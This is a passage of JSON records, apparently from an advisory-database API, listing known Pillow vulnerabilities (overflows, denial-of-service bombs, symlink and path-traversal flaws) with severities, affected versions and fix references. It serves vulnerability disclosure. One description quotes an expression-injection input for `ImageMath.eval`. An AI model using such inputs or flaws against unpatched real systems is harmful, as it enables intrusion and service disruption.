4LXB4d3EtajIzNs4AAelu","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5","url":"https://github.com/advisories/GHSA-v9pc-9mvp-x87g","title":"Pillow Buffer overflow in Jpeg2KEncode.c","description":"Heap-based buffer overflow in the j2k_encode_entry function in Pillow 2.5.0 through 3.1.1 allows remote attackers to cause a denial of service (memory corruption) via a crafted Jpeg2000 file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T02:47:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-3076","https://bugzilla.redhat.com/show_bug.cgi?id=1321929","http://pillow.readthedocs.io/en/4.1.x/releasenotes/3.1.2.html","https://github.com/python-pillow/Pillow/blob/4.1.x/docs/releasenotes/3.1.2.rst","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2017-92.yaml","https://web.archive.org/web/20200227174644/http://www.securityfocus.com/bid/98042","https://github.com/advisories/GHSA-v9pc-9mvp-x87g"],"source_kind":"github","identifiers":["GHSA-v9pc-9mvp-x87g","CVE-2016-3076"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2024-04-22T23:05:00.821Z","updated_at":"2026-08-14T00:12:52.203Z","epss_percentage":0.02583,"epss_percentile":0.83713,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"3.1.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 3.1.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx","url":"https://github.com/advisories/GHSA-x895-2wrm-hvp7","title":"PIL and Pillow Vulnerable to Symlink Attack on Tmpfiles","description":"The (1) `load_djpeg` function in `JpegImagePlugin.py`, (2) `Ghostscript` function in `EpsImagePlugin.py`, (3) `load` function in `IptcImagePlugin.py`, and (4) `_copy` function in `Image.py` in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 do not properly create temporary files, which allow local users to overwrite arbitrary files and obtain sensitive information via a symlink attack on the temporary file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T02:39:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-1932","https://github.com/python-imaging/Pillow/commit/4e9f367dfd3f04c8f5d23f7f759ec12782e10ee7","https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737059","https://security.gentoo.org/glsa/201612-52","http://lists.opensuse.org/opensuse-updates/2014-05/msg00002.html","http://www.openwall.com/lists/oss-security/2014/02/11/1","http://www.ubuntu.com/usn/USN-2168-1","https://web.archive.org/web/20170103151725/http://www.securityfocus.com/bid/65511","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-22.yaml","https://github.com/advisories/GHSA-x895-2wrm-hvp7"],"source_kind":"github","identifiers":["GHSA-x895-2wrm-hvp7","CVE-2014-1932"],"repository_url":"https://github.com/python-imaging/Pillow","blast_radius":42.06562344379397,"created_at":"2023-08-16T23:05:11.893Z","updated_at":"2026-08-21T12:10:23.267Z","epss_percentage":0.00496,"epss_percentile":0.40522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"\u003c 2.3.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b","url":"https://github.com/advisories/GHSA-h5rf-vgqx-wjv2","title":"Pillow denial of service via PNG bomb","description":"Pillow before 2.7.0 allows remote attackers to cause a denial of service via a compressed text chunk in a PNG image that has a large size when it is decompressed.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:05:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-9601","https://github.com/python-pillow/Pillow/pull/1060","http://lists.fedoraproject.org/pipermail/package-announce/2015-January/148442.html","http://lists.opensuse.org/opensuse-updates/2015-04/msg00056.html","http://pillow.readthedocs.org/releasenotes/2.7.0.html","http://www.oracle.com/technetwork/topics/security/bulletinjul2015-2511963.html","https://web.archive.org/web/20200227221255/http://www.securityfocus.com/bid/77758","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2015-16.yaml","https://www.djangoproject.com/weblog/2015/jan/02/pillow-security-release","https://github.com/advisories/GHSA-h5rf-vgqx-wjv2"],"source_kind":"github","identifiers":["GHSA-h5rf-vgqx-wjv2","CVE-2014-9601"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2023-08-16T23:05:12.094Z","updated_at":"2026-08-15T20:17:17.231Z","epss_percentage":0.04573,"epss_percentile":0.90692,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.7.0","vulnerable_version_range":"\u003c 2.7.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s","url":"https://github.com/advisories/GHSA-cfmr-38g9-f2h7","title":"Pillow denial of service via Crafted Block Size","description":"`PIL/IcnsImagePlugin.py` in Python Imaging Library (PIL) and Pillow before 2.3.2 and 2.5.x before 2.5.2 allows remote attackers to cause a denial of service via a crafted block size.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:05:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-3589","https://github.com/python-pillow/Pillow/commit/205e056f8f9b06ed7b925cf8aa0874bc4aaf8a7d","https://pypi.python.org/pypi/Pillow/2.3.2","https://pypi.python.org/pypi/Pillow/2.5.2","http://lists.opensuse.org/opensuse-updates/2015-04/msg00056.html","http://www.debian.org/security/2014/dsa-3009","https://github.com/python-pillow/Pillow/commit/5efeed77666bfd17708f3434b1d2daa9db1e1335","https://github.com/python-pillow/Pillow/commit/d47611e6fbb808ea109366781dd76559ffb80bcd","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-10.yaml","https://github.com/advisories/GHSA-cfmr-38g9-f2h7"],"source_kind":"github","identifiers":["GHSA-cfmr-38g9-f2h7","CVE-2014-3589"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2023-08-16T22:04:59.903Z","updated_at":"2026-08-15T20:17:17.233Z","epss_percentage":0.03334,"epss_percentile":0.87526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5, \u003c 2.5.2"},{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003c 2.3.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u","url":"https://github.com/advisories/GHSA-j6f7-g425-4gmx","title":"Pillow is vulnerable to Denial of Service (DOS) in the Jpeg2KImagePlugin","description":"The Jpeg2KImagePlugin plugin in Pillow before 2.5.3 allows remote attackers to cause a denial of service via a crafted image.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:05:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-3598","https://pypi.python.org/pypi/Pillow/2.5.3","http://lists.opensuse.org/opensuse-updates/2015-04/msg00056.html","https://github.com/python-pillow/Pillow/commit/347a1d8d956f9e64af4463ee25311b60cdd5657d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2015-15.yaml","https://github.com/advisories/GHSA-j6f7-g425-4gmx"],"source_kind":"github","identifiers":["GHSA-j6f7-g425-4gmx","CVE-2014-3598"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2024-04-29T12:05:36.369Z","updated_at":"2026-08-14T00:12:27.567Z","epss_percentage":0.01977,"epss_percentile":0.78676,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw","url":"https://github.com/advisories/GHSA-4fx9-vc88-q2xc","title":"Infinite loop in Pillow","description":"JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder.\n\nIf the EOF marker is not detected as such however, this could lead to an infinite loop where JpegImagePlugin keeps trying to end the file.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-03-11T23:39:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/python-pillow/Pillow/commit/baae9ec4b67c68e3adaf1208cf54e8de5e38a6fd","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#ensure-jpegimageplugin-stops-at-the-end-of-a-truncated-file","https://github.com/advisories/GHSA-4fx9-vc88-q2xc"],"source_kind":"github","identifiers":["GHSA-4fx9-vc88-q2xc"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":0.0,"created_at":"2022-12-21T16:12:33.663Z","updated_at":"2026-07-14T18:11:04.489Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c 9.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg","url":"https://github.com/advisories/GHSA-9j59-75qj-795w","title":"Path traversal in Pillow","description":"Pillow before 9.0.1 allows attackers to delete files because spaces in temporary pathnames are mishandled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-11T23:10:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-24303","https://github.com/python-pillow/Pillow/commit/427221ef5f19157001bf8b1ad7cfe0b905ca8c26","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.1.html#security","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-168.yaml","https://security.gentoo.org/glsa/202211-10","https://github.com/python-pillow/Pillow/pull/6010","https://github.com/python-pillow/Pillow/commit/10c4f75aaa383bd9671e923e3b91d391ea12d781","https://github.com/python-pillow/Pillow/commit/143032103c9f2d55a0a7960bd3e630cb72549e8a","https://github.com/python-pillow/Pillow/blob/e8ab5640774716c5486d3cb05167f74f742ad6ef/CHANGES.rst?plain=1#L1172","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/W4ZUXPKEX72O3E5IHBPVY5ZCPMJ4GHHV","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XR6UP2XONXOVXI4446VY72R63YRO2YTP","https://github.com/python-pillow/Pillow/pull/3450","https://github.com/advisories/GHSA-9j59-75qj-795w"],"source_kind":"github","identifiers":["GHSA-9j59-75qj-795w","CVE-2022-24303"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.55029250651611,"created_at":"2022-12-21T16:12:09.939Z","updated_at":"2026-08-15T20:16:52.496Z","epss_percentage":0.02879,"epss_percentile":0.85514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.1","vulnerable_version_range":"\u003c 9.0.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ","url":"https://github.com/advisories/GHSA-pw3c-h7wp-cvhx","title":"Improper Initialization in Pillow","description":"Pillow is the friendly PIL (Python Imaging Library) fork. `path_getbbox` in `path.c` in Pillow before 9.0.0 improperly initializes `ImagePath.Path`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-12T20:07:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-22815","https://github.com/python-pillow/Pillow/blob/c5d9223a8b5e9295d15b5a9b1ef1dae44c8499f3/src/path.c#L331","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#fixed-imagepath-path-array-handling","https://lists.debian.org/debian-lts-announce/2022/01/msg00018.html","https://www.debian.org/security/2022/dsa-5053","https://github.com/python-pillow/Pillow/commit/c48271ab354db49cdbd740bc45e13be4f0f7993c","https://github.com/python-pillow/Pillow/pull/5920","https://github.com/python-pillow/Pillow/commit/1e092419b6806495c683043ab3feb6ce264f3b9c","https://github.com/python-pillow/Pillow/blob/e8ab5640774716c5486d3cb05167f74f742ad6ef/CHANGES.rst?plain=1#L1187","https://github.com/advisories/GHSA-pw3c-h7wp-cvhx","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-8.yaml"],"source_kind":"github","identifiers":["GHSA-pw3c-h7wp-cvhx","CVE-2022-22815"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:12:32.484Z","updated_at":"2026-08-11T14:11:53.430Z","epss_percentage":0.02556,"epss_percentile":0.83502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c 9.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew","url":"https://github.com/advisories/GHSA-xrcv-f9gm-v42c","title":"Out-of-bounds Read in Pillow","description":"path_getbbox in path.c in Pillow before 9.0.0 has a buffer over-read during initialization of ImagePath.Path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-12T20:07:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-22816","https://github.com/python-pillow/Pillow/blob/c5d9223a8b5e9295d15b5a9b1ef1dae44c8499f3/src/path.c#L331","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#fixed-imagepath-path-array-handling","https://lists.debian.org/debian-lts-announce/2022/01/msg00018.html","https://www.debian.org/security/2022/dsa-5053","https://security.gentoo.org/glsa/202211-10","https://github.com/python-pillow/Pillow/pull/5920","https://github.com/python-pillow/Pillow/commit/5543e4e2d409cd9e409bc64cdc77be0af007a31f","https://github.com/advisories/GHSA-xrcv-f9gm-v42c","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-9.yaml"],"source_kind":"github","identifiers":["GHSA-xrcv-f9gm-v42c","CVE-2022-22816"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:12:38.745Z","updated_at":"2026-08-15T20:10:25.821Z","epss_percentage":0.01957,"epss_percentile":0.78516,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c 9.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA","url":"https://github.com/advisories/GHSA-8vj2-vxx3-667w","title":"Arbitrary expression injection in Pillow","description":"`PIL.ImageMath.eval` in Pillow before 9.0.0 allows evaluation of arbitrary expressions, such as ones that use the Python exec method `ImageMath.eval(\"exec(exit())\")`.\n\nWhile Pillow 9.0.0 restricted top-level builtins available to PIL.ImageMath.eval(), it did not prevent builtins available to lambda expressions. These are now also restricted in 9.0.1.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-01-12T20:07:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-22817","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#restrict-builtins-available-to-imagemath-eval","https://lists.debian.org/debian-lts-announce/2022/01/msg00018.html","https://www.debian.org/security/2022/dsa-5053","https://github.com/python-pillow/Pillow/commit/8531b01d6cdf0b70f256f93092caa2a5d91afc11","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.1.html#security","https://security.gentoo.org/glsa/202211-10","https://lists.debian.org/debian-lts-announce/2024/03/msg00021.html","https://github.com/advisories/GHSA-8vj2-vxx3-667w","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-10.yaml"],"source_kind":"github","identifiers":["GHSA-8vj2-vxx3-667w","CVE-2022-22817"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:33.672Z","updated_at":"2026-07-19T12:08:41.629Z","epss_percentage":0.03399,"epss_percentile":0.87507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.1","vulnerable_version_range":"\u003c 9.0.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w","url":"https://github.com/advisories/GHSA-p49h-hjvm-jg3h","title":"PCX P mode buffer overflow in Pillow","description":"libImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-11-03T18:05:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5312","https://github.com/python-pillow/Pillow/commit/93b22b846e0269ee9594ff71a72bec02d2bea8fd","https://access.redhat.com/errata/RHSA-2020:0566","https://access.redhat.com/errata/RHSA-2020:0578","https://access.redhat.com/errata/RHSA-2020:0580","https://access.redhat.com/errata/RHSA-2020:0681","https://access.redhat.com/errata/RHSA-2020:0683","https://access.redhat.com/errata/RHSA-2020:0694","https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-83.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://www.debian.org/security/2020/dsa-4631","https://github.com/advisories/GHSA-p49h-hjvm-jg3h","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-83.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-p49h-hjvm-jg3h","CVE-2020-5312"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:43.886Z","updated_at":"2026-07-31T14:14:28.740Z","epss_percentage":0.0369,"epss_percentile":0.88502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003c 6.2.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g","url":"https://github.com/advisories/GHSA-3xv8-3j54-hgrp","title":"Out-of-bounds read in Pillow","description":"In `libImaging/PcxDecode.c` in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where `state-\u003eshuffle` is instructed to read beyond `state-\u003ebuffer`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-11-03T18:04:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-10378","https://github.com/python-pillow/Pillow/pull/4538","https://github.com/python-pillow/Pillow/commit/6a83e4324738bb0452fbe8074a995b1c73f08de7#diff-9478f2787e3ae9668a15123b165c23ac","https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-77.yaml","https://github.com/python-pillow/Pillow/commits/master/src/libImaging","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.3.html","https://pillow.readthedocs.io/en/stable/releasenotes/7.1.0.html","https://github.com/python-pillow/Pillow/issues/4750","https://github.com/python-pillow/Pillow/commit/124f4bb591e16212605d0e41c413ed53e242cba2","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEBCPE4F2VHTIT6EZA2YZQZLPVDEBJGD","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOKHNWV2VS5GESY7IBD237E7C6T3I427","https://usn.ubuntu.com/4430-1","https://usn.ubuntu.com/4430-2","https://github.com/advisories/GHSA-3xv8-3j54-hgrp","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-77.yaml"],"source_kind":"github","identifiers":["GHSA-3xv8-3j54-hgrp","CVE-2020-10378"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":40.58095438107182,"created_at":"2022-12-21T16:12:43.894Z","updated_at":"2026-07-31T14:11:21.974Z","epss_percentage":0.01105,"epss_percentile":0.62518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"7.1.0","vulnerable_version_range":"\u003c 7.1.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zeHY4LTNqNTQtaGdycM0W2g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q","url":"https://github.com/advisories/GHSA-vcqg-3p29-xw73","title":"Integer overflow in Pillow","description":"`libImaging/TiffDecode.c` in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-11-03T18:04:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5310","https://github.com/python-pillow/Pillow/commit/4e2def2539ec13e53a82e06c4b3daf00454100c4","https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-81.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://github.com/advisories/GHSA-vcqg-3p29-xw73","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-81.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MMU3WT2X64GS5WHDPKKC2WZA7UIIQ3A","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3DUMIBUYGJRAVJCTFUWBRLVQKOUTVX5P","https://usn.ubuntu.com/4272-1"],"source_kind":"github","identifiers":["GHSA-vcqg-3p29-xw73","CVE-2020-5310"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"202